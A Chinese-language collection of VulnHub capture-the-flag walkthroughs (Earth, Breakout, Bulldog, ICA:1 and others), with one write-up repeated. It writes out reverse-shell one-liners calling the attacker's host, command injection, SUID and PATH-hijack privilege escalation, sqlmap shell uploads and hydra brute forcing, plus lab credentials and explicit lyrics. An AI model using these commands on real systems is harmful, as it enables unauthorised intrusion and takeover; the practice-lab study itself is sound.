vulnhub(持续更新)

vulnhub Earth

一、信息收集

二、端口扫描

三开始渗透

发现直接访问貌似访问不进去,仔细查看nmap扫描结果发现两条dns记录,可以知道192.168.44.133会被dns服务器解析为earth.local,terratest.earth.local。所以如果直接访问192.168.44.133就可能不能访问,需要手动修改 /etc/hosts 信息

记得以管理员身份运行记事本

修改完以后刷新一下DNS缓存

这个时候就可以直接访问页面了

扫描一下网页目录

testingnotes看着像笔记,可能记载了什么,看一眼

根据上面的信息可知,登陆的用户名用的是terra,密码应该需要将

Previous Messages:
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

与testdata.txt进行异或获得

脚本如下

import binascii 

# 十六进制密文字符串(2402...0e5a)
c = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a" 

# 明文消息
m = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

# 将明文转换为十六进制
m = binascii.b2a_hex(m.encode("utf-8")) 

# 异或运算(存在缺陷)
result = hex(int(c,16) ^ int(m,16))

print(result)

有人问为什么是第三个previous message进行异或,因为和其他message异或得到的都是乱码

得到结果然后进行十六进制转文本可以得到

可以看到结果是某个字符串重复

earthclimatechangebad4humans这个就是密码

成功登录可以看到一个命令执行界面

有回显找一找flag,find / -name 'flag',这里一定要加通配符*,这里的flag不是单纯的flag

根据题目描述我们找到了user flag,但是还有个root flag,可以猜到需要提权,使用反弹shell

?远程连接被禁止了

搜了网上佬的wp发现说是将ip地址转化为十六进制就可以绕过

**bash -i >& /dev/tcp/0xc0.0xa8.0x2c.0x85/1234 0>&1**

可以看到earth和root两个用户有/bin/bash,可以执行所有shell命令

貌似没什么鸟用,而且earth用户的uid为100不是0并不是root用户。看了大佬的wp决定试试suid提权(suid文件的特点就是可以使运行者获得和suid文件拥有者一样的权限)

find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容

发现reset_root是个可执行文件,结合名字我感觉这个文件应该可以用于提权

运行该文件,但是报错说是没检测到重置操作所需要的触发器

这里就不得不用到strace工具了,可以检测linux系统中存在的系统进程问题,神器一般的存在

但是靶机上貌似不能调试,将reset_root给转移到kali上

nc -lvp 5555 > reset_root
在当前主机上启动一个监听服务,监听 TCP 端口 5555。当有任何客户端连接到这个端口并发送数据时,这些数据将被捕获并保存到名为 reset_root 的文件中。

常见的应用场景:

]

这里就是将靶机上的文件传输到kali上

看下这个文件具体信息,发现所有者没有执行权限

运行strace ./reset_root

结尾看到运行的时候缺少这三个文件,回靶机看看这三个文件存不存在

这三个文件都不存在,那就创建一个新的文件就好(不过不知道为什么空的文件也可以)

运行reset_root文件可以看到root的密码被改为了Earth

总结

1.第一次利用nc进行文件的传输

2.第一次使用strace工具,用于检测系统问题非常便利

3.反弹shell时ip地址被过滤了可以尝试转化为十六进制(记住不是字符串转十六进制而是十进制转十六进制,这里搞错了好久没反应过来)

4.这次测试一个很大的难点其实在于后台登陆的账号密码,密码是用一段英文文本和很长一段十六进制字符串进行异或得到的

5.第一次尝试suid提权。然后通过修改host文件完成DNS解析

vulnhub 02-Breakout

这次居然都不用改网卡直接给我ip地址了,直接浏览器访问该ip地址

就是一个普通apache安装页面,常规思路看页面源码

:::info
<!-- don't worry no one will get here, it's safe to share with you my access. Its encrypted 😃 ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. -->

:::

看着像某种加密,丢随波逐流看看(这个用来解密是真牛逼).2uqPEfj3D<P'a-3

在kali里面使用一下nmap查一下开放端口和服务

访问10000端口发现是个登录界面

猜测刚刚解密出来的东西就是密码,但是账号还有待考究,没什么其他信息卡了一会

nmap加了点参数继续扫发现有个20000端口,还有个没见过的smb服务,问问ai看有什么办法利用

:::info
SMB 就是 “共享协议”,Windows 局域网里的“共享文件夹/打印机”全靠它;渗透测试里,看到 445/139 端口开放 就要想到 枚举共享、爆破口令、利用历史漏洞

:::

这里我们利用enum4linux进行信息收集

可以看到收集到一个本地unix用户cyber,这个估计就是账户了

突然·发现20000端口也是一个登录界面诶.......

尝试以后发现就是20000端口的账号密码

这里发现了一个比较抽象的bug,这个后台页面一旦窗口化的话左边的列表就会莫名抽搐并且打不开,一点开就闪退关闭,但是全屏化的话就没有这个问题了(看我wp的同学可以注意一下)

可以看到左下角这里有个类似于终端的标识,其他地方都看了下,没啥可以利用的点,还是先看看终端吧

很轻松就得到了flag,但是这个tar不知道是个什么玩意

看了佬的wp发现还有个flag,还有提权,那我猜测估计就是利用·tar文件进行提权了,

在进行各种目录翻找查看以后在/var/backups里面发现一个隐藏备份文件看着非常可疑,权限少的可怜,我甚至连读取权限都没有,这里就可以利用tar文件(因为tar文件在这个系统是具有读取任意文件的权限的)

但是一个解压缩工具必不可能是通过直接读取来看文件的,我猜测应该是先将要查看的文件压缩然后再解压出来应该就能看了,实践一下就知道了

?为什么会没权限不应该啊

问了ai发现这里不应该这么写,直接用tar命令系统会在环境变量 PATH 中查找可执行文件 tar,也就是系统内置的tar。但是这里我们要明白我们要用的是cyber目录下的tar文件,所以应该先切换到cyber目录然后再用./tar -cvf 1.tar /var/backups/.old_pass.bak,./tar表示是当前目录下的tar指定了的

可以看到成功压缩了(可以看到其实1.tar已经有读取权限了)

接下来就是解压

用cat命令读取一下,可以发现root的密码

我是真的服了,vulnhub的靶机都总是有这样的bug

那就只能反弹shell了

注明:因为开始在vmware上传靶机的时候忘记开NAT模式导致靶机和攻击主机不在一个网段下(我就说为什么一直弹不了shell......)

成功连接了

迫不及待拿着root密码登录,哎这个root成功了也没个动静的,我还以为卡了

切换目录也没有提示,哎

成功获得第二个flag

总结

1.SMB 就是 “共享协议”,Windows 局域网里的“共享文件夹/打印机”全靠它;渗透测试里,看到 445/139 端口开放 就要想到 枚举共享、爆破口令、利用历史漏洞,其中常见的枚举工具有

enum4linux -a 192.168.1.10

smbclient -L //192.168.1.10 -N

crackmapexec smb 192.168.1.0/24

用一句话说枚举共享就是“用 SMB 协议里的合法查询指令,把服务器愿意透露的共享列表、用户列表、策略信息一批批问出来”。

2.linux中文件前面带 "." 的就是隐藏文件例如

一般都是利用ls -al命令将其列出

vulnhub JIS-CTF

一、信息收集

找到第一个flag

得到第二个flag

利用给到的账号密码登录一下

随便传个一句话木马,访问以后发现页面为空白则为上传成功

难道说第三个flag在flag.txt

怎么是空的我造了

原来藏在hint.txt里面

:::info
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;

:::

看来还有flag,要找用户的密码一般是在/etc/passwd里面看

口令为x说明真实密码在/etc/shadow里面,但是我们权限只有www-data看不了,没有办法提权,那有没有可能flag会在etc目录下呢,看看

:::info
grep -sr technawi /etc/ 在etc目录下

:::

可以看到/etc/mysql/conf.d/credentials.txt文件下有个username是technawi,我草不会technawi的账号密码在这个文件下吧

可以找到第四个flag了

知道账号密码直接ssh远程连接即可,之前有个·flag.txt在蚁剑中直接看是空的,用虚拟终端看说是权限不够,远程连接成功以后再查看就可以知道第五个flag在这里面了

vulnhub bulldog

首先将下载下来的镜像文件导入vmware workstation(记得打开NAT模式,要和攻击靶机kali位于同一网段下),直接打开有可能看不到ip,下面给一篇我感觉不错的文章

vulnhub靶机检测不到IP地址解决办法_练靶机的时候靶机没ip怎么办-CSDN博客

可以看到bulldog靶机的ip地址为192.168.44.130

kali的ip地址为192.168.44.129,确实位于同一网段下

一.信息收集

渗透测试的第一步当然是信息收集,看看靶机的ip和开放端口

方法一:netdiscover -i eth0 -r 192.168.44.0/24
【-i】指定网卡设备
【-r】指定扫描网段

方法二:arp-scan -l

方法三:方法三:nmap -sP 192.168.44.0/24 【直接扫描C段】
【-sP】发现扫描网络存活主机。(直连arp非直连tcp80 icmp)

1.2 端口扫描

得到端口,版本,操作系统等信息

【端口扫描】nmap -sS -T4 -A -p- 192.168.245.136
-sS:半开放扫描:发送 SYN 包到目标端口,根据响应判断端口状态(开放/关闭)
-T4: 设置扫描速度为 **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">T4</font>**(共 **<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">T0-T5</font>** 六级,**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">T4</font>** 为较快速度)
-A:全面系统检测,启用脚本检测和扫描

-p-: 3241扫描 所有端口(1-65535),而不仅是默认的 1000 个常用端口。

3.目录扫描

二.开始渗透

题目要求是要进入根目录查看祝贺消息

admin目录应该是后台管理员登录界面

/dev目录提供了一些关于该网站的一些信息

/robots.txt目录下

暂时没有看到后台登陆的账号密码相关信息,但是在/dev目录点击F12查看页面源代码的时候可以发现一些疑似密码的hash值

哈希值解密依次为

最后一个要钱,可以换一个网站解密试试

解密后可以得到账号nick 密码bulldog 账号sarah 密码bulldoglover

使用后者成功登录

但是提示我没有任何权限,不是哥们

实在没有办法了就只能dirb命令爆破一下子域名了,发现dev目录下还有个shell目录,说不定可以提权

但是这里被过滤了很多命令,甚至切换目录都做不到,这边思索良久决定使用反弹shell,监听本地端口,再将靶机的标准输出输入和错误重定向到我监听的本地端口,但是直接反弹会被过滤

用echo包装一下,成功反弹

查看kali后发现成功监听

进入家目录

进入bulldogadmin,结果发现什么都没有,查了佬的资料才知道要使用ls -al查看隐藏文件夹

hiddenadmindirectory这个名字一看就很敏感,进去看一眼

进入该目录ls -al一下

看看两个文件

note
Nick,

I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not! 

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!

-Ashley

hiddenadmindirectory
<gadmin/.hiddenadmindirectory$ cat customPermissionApp                       
ELF>�@@X▒@8     @@@@@@�88@8@@@ ``8@ ((`(`�TT@T@DDP�tdxx@x@44Q�tdR�td``��/lib64/ld-linux-x86-64.so.2GNU GNU��32S0-t���Ye?�ҏ��o
Iu▒i    S�`▒` `(`0`H�H��                                                                                                     !(: libc.so.6puts__stack_chk_failsystem__libc_start_main__gmon_start__GLIBC_2.4GLIBC_2.2.5ii
                         H��t�[H���5�
                                      �%�
                                          @�%�
                                               h������%z
                                                         h������%r
                                                                   h������%j
                                                                             h������%"
                                                                                       f�1�I��^H��H���PTI���@H���@H���@������fD�O`UH-H`H��H��vH��t]�H`��f�]�@f.��H`UH��H`H��H��H��H��?H�H��t�H��t
                                                                                                                                                                                                 ]�H`��]�fD�=�
 uUH���n���]��
 ��@� `H�?u���H��t�UH����]�z���UH��H��pdH�%(H�E�1�@������@@������i@�����H�SUPERultH�E�H�imatePASH�E�H�SWORDyouH�E�H�CANTgetH�E�H�U��H���H�H���H���H�u�dH34%(t�'�����DAWAVA��AUATL�%~ UH�-~ SI��I��L)�H�H�������H��t 1��L��L��D��A��H��H9�u�H�[]A\A]A^A_Ðf.���H�H��Please enter a valid username to use root privileges      Usage: ./customPermissionApp <username>sudo su root����h���P^�������x���zRx
                                                                                  ���*zRx
                                                                                        $����PF▒J
�                                                                                                �?▒;*3$"D�����A�C
Dd8���eB�B▒�E �B(�H0�H8�M@r8A0A(B B▒B�`����@�@
�@▒▒���o�@H@�@                                `@
_
 ▒``@�▒ ▒���o�@���o���o�@(`�@�@�@�@GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 201606098@T@t@�@�@H@��@   �@
@
 `@
�@�@�@@x@�@`▒` `(`�`▒`8`▒H`�
                             `@@.�@D▒H`S▒`z�@�`������@� `���▒`�(`�`x@▒`+�@; � 8`WiH`5�@p���8`� �@`�@��@e�▒P`��@*▒H`�@�▒ ,H`8 
                                                                                                                             `@crtstuff.c__JCR_LIST__deregister_tm_clones__do_global_dtors_auxcompleted.7585__do_global_dtors_aux_fini_array_entryframe_dummy__frame_dummy_init_array_entrycustomPermissionApp.c__FRAME_END____JCR_END____init_array_end_DYNAMIC__init_array_start__GNU_EH_FRAME_HDR_GLOBAL_OFFSET_TABLE___libc_csu_fini_ITM_deregisterTMCloneTableputs@@GLIBC_2.2.5_edata__stack_chk_fail@@GLIBC_2.4system@@GLIBC_2.2.5__libc_start_main@@GLIBC_2.2.5__data_start__gmon_start____dso_handle_IO_stdin_used__libc_csu_init__bss_startmain_Jv_RegisterClasses__TMC_END___ITM_registerTMCloneTable.symtab.strtab.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.plt.got.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.plt.data.bss.comment


这也啥没写啊,想要提权得到root权限看根目录得要密码

但是这也啥都没写啊

继续看佬的wp发现可以用strings命令(strings命令用来提取和显示非文本文件中的文本字符串

这是唯一看起来比较正常的字符串,仔细观察可以发现H是混淆视听的

拆分出来可以得到SUPERultimatePASSWORDyouCANTgetd,超级密码,大概率就是root的密码了

sudo su,等等,不是哥们,怎么你没有可用终端啊

在佬的提醒下发现可以利用python调用本地的shell

<font style="color:rgb(77, 77, 77);">python -c 'import pty; pty.spawn("/bin/bash")'</font>

成功提权

总结

1、信息收集

目标IP探测 (arp-scan、netdiscover、nmap)

Nmap端口扫描,版本,操作系统扫描等

2、目录扫描

用dirb扫出了许多关键目录(admin和dev页面)

用dirsearch扫描出关键目录

3、敏感文件查找及网页访问

4、MD5破解(在线破解,多个网址试试)

仔细观察网页信息,该靶机主要在/dev目录处前端源码泄露了MD5密码信息

5、登录管理员账号,并在/dev/shell页面利用命令注入漏洞

6、命令注入和nc反弹shell

命令拼接(ls &&echo ‘bash -i >& /dev/tcp/192.168.44.130/4444 0>&1’|bash

nc反弹shell(kali机监听 nc -lvp 4444)

7、权限提升

找root权限用户,找敏感目录,文件

strings的使用

用Python调用本地的shell实现

sudo python -c ‘import pty; pty.spawn("/bin/bash")’

sudo su - root

vulnhub AI-WEB-1

一、信息收集

二、端口扫描

三、开始渗透

经过测试发现存在sql注入漏洞

sqlmap启动,没有加什么waf,很容易就把库跑出来了

再把表给跑出来

感觉没啥用啊,也没有登陆界面啥的

没思路就继续扫目录,主地址扫不出就扫主地址下的目录

成功找到了绝对路径

尝试能不能上马获取靶机权限,发现文件上传页面访问不了

这里就不得不提到sqlmap的一项功能了--os-shell,简单来说就是上传两个php文件,一个负责文件上传,一个负责命令执行

选择4,然后选择2,输入刚刚在phpinfo看到的文件上传页面的绝对路径

可以看到成功传上去两个php文件

获得了一个可以交互的shell但是权限低的可怜,www-data

搜了下发现可以使用sqlmap上马,os-shell连php文件都写不了太fvv了

--file-write后面接要写入的木马 --file-dest为文件在指定服务器上的保存路径(这里因为命令格式问题我换成kali里面的sqlmap了。windows一直写不上去)

页面为空白说明成功写入

蚁剑

进入虚拟终端

三剑客,pwd uname -a,id三个命令用来看自己的权限,所在目录和靶机内核(可以根据靶机内核搜索漏洞利用)

好像并没有搜出什么漏洞可以利用

习惯性看了下/etc/passwd的权限

用户居然有write权限,那直接写入一个root的账号密码进去不就提权成功了吗

利用openssl中的passwd命令生成了一密码,

仿照/etc/passwd的格式将生成的账号密码写入

但是我尝试以zdqjudy身份登录时,发现没有可以使用的终端

总结

1.有的时候单纯扫靶机ip并不能获得所有的线索,实在没线索了可以尝试一下扫靶机ip的子目录

2.三剑客,pwd uname -a,id三个命令用来看自己的权限,所在目录和靶机内核

3.这道题好像最后有点bug,一直没有可用的终端,搜了网上的wp也没看到什么答案,有知道的大佬辛苦告知一下

4.靶机文件上传页面访问不了可以试试sqlmap的--os-shell功能

vulnhub 02-Breakout

这次居然都不用改网卡直接给我ip地址了,直接浏览器访问该ip地址

就是一个普通apache安装页面,常规思路看页面源码

:::info
<!-- don't worry no one will get here, it's safe to share with you my access. Its encrypted 😃 ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++. -->

:::

看着像某种加密,丢随波逐流看看(这个用来解密是真牛逼).2uqPEfj3D<P'a-3

在kali里面使用一下nmap查一下开放端口和服务

访问10000端口发现是个登录界面

猜测刚刚解密出来的东西就是密码,但是账号还有待考究,没什么其他信息卡了一会

nmap加了点参数继续扫发现有个20000端口,还有个没见过的smb服务,问问ai看有什么办法利用

:::info
SMB 就是 “共享协议”,Windows 局域网里的“共享文件夹/打印机”全靠它;渗透测试里,看到 445/139 端口开放 就要想到 枚举共享、爆破口令、利用历史漏洞

:::

这里我们利用enum4linux进行信息收集

可以看到收集到一个本地unix用户cyber,这个估计就是账户了

突然·发现20000端口也是一个登录界面诶.......

尝试以后发现就是20000端口的账号密码

这里发现了一个比较抽象的bug,这个后台页面一旦窗口化的话左边的列表就会莫名抽搐并且打不开,一点开就闪退关闭,但是全屏化的话就没有这个问题了(看我wp的同学可以注意一下)

可以看到左下角这里有个类似于终端的标识,其他地方都看了下,没啥可以利用的点,还是先看看终端吧

很轻松就得到了flag,但是这个tar不知道是个什么玩意

看了佬的wp发现还有个flag,还有提权,那我猜测估计就是利用·tar文件进行提权了,

在进行各种目录翻找查看以后在/var/backups里面发现一个隐藏备份文件看着非常可疑,权限少的可怜,我甚至连读取权限都没有,这里就可以利用tar文件(因为tar文件在这个系统是具有读取任意文件的权限的)

但是一个解压缩工具必不可能是通过直接读取来看文件的,我猜测应该是先将要查看的文件压缩然后再解压出来应该就能看了,实践一下就知道了

?为什么会没权限不应该啊

问了ai发现这里不应该这么写,直接用tar命令系统会在环境变量 PATH 中查找可执行文件 tar,也就是系统内置的tar。但是这里我们要明白我们要用的是cyber目录下的tar文件,所以应该先切换到cyber目录然后再用./tar -cvf 1.tar /var/backups/.old_pass.bak,./tar表示是当前目录下的tar指定了的

可以看到成功压缩了(可以看到其实1.tar已经有读取权限了)

接下来就是解压

用cat命令读取一下,可以发现root的密码

我是真的服了,vulnhub的靶机都总是有这样的bug

那就只能反弹shell了

注明:因为开始在vmware上传靶机的时候忘记开NAT模式导致靶机和攻击主机不在一个网段下(我就说为什么一直弹不了shell......)

成功连接了

迫不及待拿着root密码登录,哎这个root成功了也没个动静的,我还以为卡了

切换目录也没有提示,哎

成功获得第二个flag

总结

1.SMB 就是 “共享协议”,Windows 局域网里的“共享文件夹/打印机”全靠它;渗透测试里,看到 445/139 端口开放 就要想到 枚举共享、爆破口令、利用历史漏洞,其中常见的枚举工具有

enum4linux -a 192.168.1.10

smbclient -L //192.168.1.10 -N

crackmapexec smb 192.168.1.0/24

用一句话说枚举共享就是“用 SMB 协议里的合法查询指令,把服务器愿意透露的共享列表、用户列表、策略信息一批批问出来”。

2.linux中文件前面带 "." 的就是隐藏文件例如

一般都是利用ls -al命令将其列出

vulnhub ICA:1

依旧信息收集这一块

登陆界面

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.100.197,显示开放了22、80、3306端口,开放了ssh、apache、mysql服务

啊呀没发现什么很有用的信息呢,MySQL 8.0.26也没看见什么跟登录相关的漏洞

登录界面翻到最下面发现有个版本号,搜一下说不定有什么线索

说是数据库的连接字符串和密码都存在database.yml文件下

那就直接在网页访问一下

或者用wget命令也是可以的

如果出现访问页面无法连接或者是下面这种情况

大概率是靶机似了(悲),建议重启一下实测有效

接下来就是连接mysql(注意这里的账号密码不是登录网页的哦)

报错了,说明你在连接 MySQL 数据库时,客户端默认强制使用 SSL/TLS 连接,但服务端返回的证书是自签名证书(不是权威机构颁发的),客户端认为不安全,因此连接被拒绝。

这边建议加参数启动ssl但是不验证证书

mysql -u qdpmadmin -h 10.3.175.135 --ssl --ssl-verify-server-cert=0 -p

看看数据库捏

看看staff数据库,有个login大抵是稳了

把这些都存到密码本里面,但是发现好像没有邮箱诶

哎呀用终端看还是太麻烦了 放入navigate看吧

将之前找到的账号密码放进user.txt和pass.txt

不嫌麻烦的话其实可以一个一个尝试的来着,另外这里有个坑,账号名其实必须都是全小写,账号里面有大写连不了

使用hydra进行爆破(爆破的时候一定要记得密码或者账号前一定不要有空格)

也是成功爆破出来了

travis           DJceVy98W28Y7wLg
dexter           7ZwV4qtg42cmUXGX

先使用travis连接一波

获得第一个flag

肯定还有第二个flag不知道是什么

奇了怪了,为什么这个tmp被标了绿标

但是这个tmp目录下什么都没有

查看一下travis的权限

才发现

那切换一个用户试试

按下exit或者ctrl+D退出ssh连接状态

这里note.txt里面的意思就是

我觉得访问这个系统时存在某种弱点(漏洞)。
据我所知,可执行文件的内容在某种程度上是可以被查看的。
我需要找出是否存在安全漏洞。

查看可执行文件的内容可以用strings命令,如果要利用可执行文件的话可能是suid程序提权(猜测)那就找一下suid程序

问了chatgpt,她说get_access这个文件非常可疑

查看了一下权限,哎呦我去还真是suid程序

用strings命令查看一下这个文件,这个cat /root/system.info说明这个文件曾经执行过查看root目录的动作,而且还使用了system函数, 程说明序会查找当前环境变量 $PATH 下的 cat 可执行文件; 但是问题是我们也不是很清楚这个cat文件是不是用的是system函数调用的,所以这里需要反编译一下(试试strace命令)

在你需要下载文件的目录下启动临时http服务(不在这个目录下启动你就下不了文件,会显示404 File Not Found)

放入ida里面看一下发现确实有system的调用

那我们就可以利用环境变量劫持加命令注入提权了

# 1. 创建伪造的 cat
echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat
chmod +x /tmp/cat

# 2. 修改 PATH,让系统优先使用你伪造的 cat
export PATH=/tmp:$PATH

# 3. 执行 get_access(SUID程序)
./get_access

# 4. 此时你就进入了一个 root shell
whoami  # 输出:root

成功获得flag2

小结

1.使用hydra爆破ssh

2.看到3306端口mysql开放要想着寻找账号密码连接mysql,如果22端口也开放了说明可以mysql里面肯定有账号密码可以ssh连接靶机查看flag(虽然其他靶机也有开放22端口但是没有给过我账号密码)

3.利用python自带的http服务器模块,在ssh连接的靶机上启动临时本地HTTP服务,再下载靶机上的文件到本地调试

4.环境变量劫持 通过修改或伪造某些环境变量,影响目标程序的行为,进而达到执行恶意代码、获取更高权限的目的。比如常见的PATH劫持,程序使用类似system和execvp这类基于PATH的调用时,我们就可以修改环境变量使其使用我们伪造的可执行文件

vulnhub Dripping Blues

?没想到居然有图形化界面

依旧信息收集这一块

目录扫描这一块

扫出两个东西看一眼

翻译一下

你好,亲爱的小黑客(wannabe:想成为黑客的人),

请看这首歌词:

https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html

数一下歌词中所有以字母 "n" 开头的单词数量(n words),
然后把这些以字母 "n" 开头的单词按顺序拼接在一起,
再对拼接后的字符串进行 md5 哈希。

例如:hellohellohellohello >> md5sum hellohellohellohello

这个 md5 的结果就是 SSH 的密码。

歌词我放在这里了,但是不管我怎么尝试密码就是错误,搞得心态有点崩

Young Thug Lyrics
"Constantly Hating"
(feat. Birdman)

[Young Thug:]
Pour that shit up fool, it's ours
Ha
Monster!
Man so you ain't gon' pour?
Oh, so you're gonna make a nigga beg you to pour?
Okay bool, you dig?
(Wheezy Beats)
Uh

Hopped out my motherfuckin' bed
Hopped in the motherfuckin' coupe (Skrrt)
Pulled up on the Birdman (Brr)
I'm a beast, I'm a beast, I'm a mobster (Ayy)
You got 50 whole bands, you'll be my sponsor (Just for the night)
Them snakes on the plane, me and Kanye-conda (Anacondas)
Yeah (Them anacondas)
I might piece him up and let my partner smoke him (Triple cross)
Chuck-E-Cheese him up, I pizza him, I roll him (Cross)
I'm a gangster, I don't dance, baby I poke
Right now I'm surrounded by some gangsters from Magnolia
I heard I put it in the spot, yes sir she told me
My niggas muggin', these niggas YSL only
I heard my Nolia niggas not friendly, like no way
But we not friendly either, you know it
Ha!
Yeah, thumbs up
I've seen more holes than a golf course on Donald Trump's course
My bitch a tall blooded horse, nigga, bronco
And if you catch us down bet you're not gon' trunk us (No)
You got a body, lil' nigga, we got a ton of 'em (Yeah)
You got some Robin's, lil' nigga, we got some Batmans
I let that choppa go "blocka, blocka," get back, son (Back)
You got them MJs, nigga, I got them Jacksons (Racks)

But really what is it to do
When the whole world constantly hatin' on you?
Pussy niggas hold their nuts, masturbatin' on you
Meanwhile the fuckin' federal baitin' on you
Nigga tell me what you do
Would you stand up or would you turn to a pussy nigga?
I got a hundred things to do
And I can stop rappin' but I can't stop stackin' fuckin' figures

[Birdman & Young Thug:]
Yeah, I'm from that motherfuckin' 'Nolia, nigga ('Nolia, nigga)
Birdman'll break a nigga nose, lil' nigga (Nose, lil' nigga, ah)
You need to slow your fuckin' roll, lil' nigga (Roll, lil' nigga, Thugger)
We created Ks on shoulders, nigga (Shoulders, nigga)
I'm a scary fuckin' sight, lil' nigga (Sight, lil' nigga, ah)
We won a hundred mil' on fights, lil' nigga (Fights, lil' nigga, hey)
A hundred bands, sure you're right, lil' nigga (Right, lil' nigga)
I keep some AKs on my flights, lil' nigga (My flights, lil' nigga, I do)
Birdman Willie B (What?)
Smoke some stunna blunts, now my eyes Chinese (Chinese)
Hundred K on private flights overseas (Overseas)
Choppas City nigga, free BG (BG)
Bentley with the doors all 'round, not a Jeep (Jeep)
Rich nigga shit, smoke two pounds in a week (In a week)
Can't find a bitch that don't know we them streets (We them streets)
Bitches know that I am Birdman, that's OG, brrat

[Young Thug:]
But really what is it to do
When the whole world constantly hatin' on you?
Pussy niggas hold their nuts, masturbatin' on you
Meanwhile the fuckin' federal baitin' on you
Nigga tell me what you do
Would you stand up or would you turn to a pussy nigga?
I got a hundred things to do
And I can stop rappin' but I can't stop stackin' fuckin' figures

Nigga, I'm a crack addict
Thought about lettin' them get a cut
Then I went and snagged at it
Yeah, the new Boosie Badazz at it
I'ma drop a nigga life, just like a bad habit
I stick to the ground like a motherfuckin' rug
I'm a big dog, lil' fuck nigga, you a pup
Lil' bitch, clean your drawers before you think you're a thug
Before I be in front your shows, just like your pub
I ain't even lyin', baby
I swear to God I ain't lyin', baby, no
First I'll screw you without these pliers, baby, or
I might dap you like, "good try, baby"
Big B livin', baby
Them boys on my left throwin' up Cs
I promise their mama see them this week
And I don't break promises with my Ds (Them my dogs)
I want Ms and cheese, mister Mickey Ds
She know I am a beast, I am so obese (Rrar)
In Miami I swear they don't got good weed
Wiz Khalifa can you send me some weed please?

[Birdman:]
Yeah, overseas, nigga, top floor, clear windows, nigga
Glass house, drankin' GT, you understand?
We in that Red Light District, you understand?
We 3 and 1, that mean 3 on me, nigga, you understand me?
Just livin' the life, boy, ayy, Thug, just a dollar for a 1, nigga
We can blow a mil', boy
Rich Gang, YSL, blatt!

只能作罢看另一个网页,发现也无法访问

访问不了,想试试一下本地文件包含但是不知道参数多少

感觉信息收集不够,继续加大力度扫一下端口

┌──(root㉿zdqjudy)-[/home/zdqjudy/vulnhub/Dripping Blues]
└─# nmap -sS -T4 -A -p- 10.3.175.136
